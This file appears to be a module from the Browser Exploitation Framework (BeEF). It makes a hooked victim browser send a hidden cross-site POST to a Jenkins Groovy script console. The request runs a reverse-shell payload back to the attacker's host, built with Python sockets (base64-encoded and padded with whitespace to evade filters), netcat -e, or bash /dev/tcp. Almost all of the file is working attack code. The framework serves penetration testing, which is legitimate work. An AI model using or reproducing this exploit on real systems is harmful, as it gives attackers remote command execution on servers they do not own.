//
// Copyright (c) 2006-2026Wade Alcorn - wade@bindshell.net
// Browser Exploitation Framework (BeEF) - https://beefproject.com
// See the file 'doc/COPYING' for copying permission
//

beef.execute(function() {
  var rproto = '<%= @rproto %>';
  var rhost = '<%= @rhost %>';
  var rport = '<%= @rport %>';
  var targeturi = '<%= @uri %>';
  var lhost = '<%= @lhost %>';
  var lport = '<%= @lport %>';
  var target = rproto + '://' + rhost + ':' + rport + targeturi + '/script';
  var timeout = 15;
  var payload_name = '<%= @payload %>';
  var peer = rhost + ':' + rport;

  cleanup = function() {
    try {
      document.body.removeChild(jenkins_groovy_code_exec_iframe_<%= @command_id %>);
    } catch(e) {
      beef.debug("Could not remove iframe: " + e.message);
    }
  } 
  setTimeout("cleanup()", timeout*1000);

  payload = function() {
    var whitespace = '';
    for (var i=0; i<Math.floor(Math.random()*10)+3; i++) whitespace += ' ';
    var payload = '';
    switch (payload_name) {
      case "reverse_python":
        var cmd = "import socket,subprocess,os;host=\""+lhost+"\";port="+lport+";s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((host,port));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call([\"/bin/sh\",\"-i\"]);"
        cmd = cmd.replace(/,/g, whitespace+','+whitespace).replace(/;/g, whitespace+';'+whitespace)
        var encoded_cmd = btoa(cmd);
        payload = 'proc = [ "/usr/bin/python" , "-c" , "exec ( \''+encoded_cmd+'\'.decode ( \'base64\' ) )" ].execute()';
        payload = payload.replace(/ /g, whitespace);
        break;
      case "reverse_netcat":
        payload = 'proc = [ "/bin/nc" , "' + lhost + '" , "' + lport + '" , "-e" , "/bin/sh" ].execute()';
        payload = payload.replace(/ /g, whitespace);
        break;
      default: // "reverse_bash"
        payload = 'proc = [ "/bin/bash", "-c", "/bin/bash -i >& /dev/tcp/' + lhost + '/' + lport + ' 0>&1" ].execute()';
        payload = payload.replace(/ /g, whitespace);
        break;
    }
    return payload
  }

  exploit = function() {
    var groovy = payload();
    beef.debug(peer + " - Sending payload (" + groovy.length + " bytes)");
    var jenkins_groovy_code_exec_iframe_<%= @command_id %> = beef.dom.createIframeXsrfForm(target, "POST", "application/x-www-form-urlencoded",
    [
      {'type':'hidden', 'name':'script', 'value':groovy },
      {'type':'hidden', 'name':'Submit', 'value':'Run' },
    ]);
    beef.net.send("<%= @command_url %>", <%= @command_id %>, "result=exploit attempted");
  }

  try {
    exploit();
  } catch(e) {
    beef.debug(peer + " - Exploit failed: " + e.message);
  }

});
